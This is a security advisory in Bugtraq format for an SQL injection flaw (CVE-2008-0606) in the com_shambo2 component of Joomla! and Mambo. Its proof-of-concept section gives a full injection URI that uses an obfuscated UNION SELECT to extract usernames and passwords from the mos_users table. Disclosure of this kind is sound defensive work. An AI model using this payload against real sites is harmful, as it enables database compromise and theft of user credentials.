Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

BID:27609

Info

Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

Bugtraq ID: 27609
Class: Input Validation Error
CVE: CVE-2008-0606
Remote: Yes
Local: No
Published: Feb 04 2008 12:00AM
Updated: May 07 2015 05:33PM
Credit: S@BUN is credited with the discovery of this vulnerability.
Vulnerable: Mambo com_shambo2 0
Joomla com_shambo2 0
Not Vulnerable:

Discussion

Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

The com_shambo2 component for Mambo and Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Exploit / POC

Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/index.php?option=com_shambo2&Itemid=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2Cconcat(username,0x3a,password)%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users

Solution / Fix

Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Joomla! and Mambo 'com_shambo2' Component SQL Injection Vulnerability

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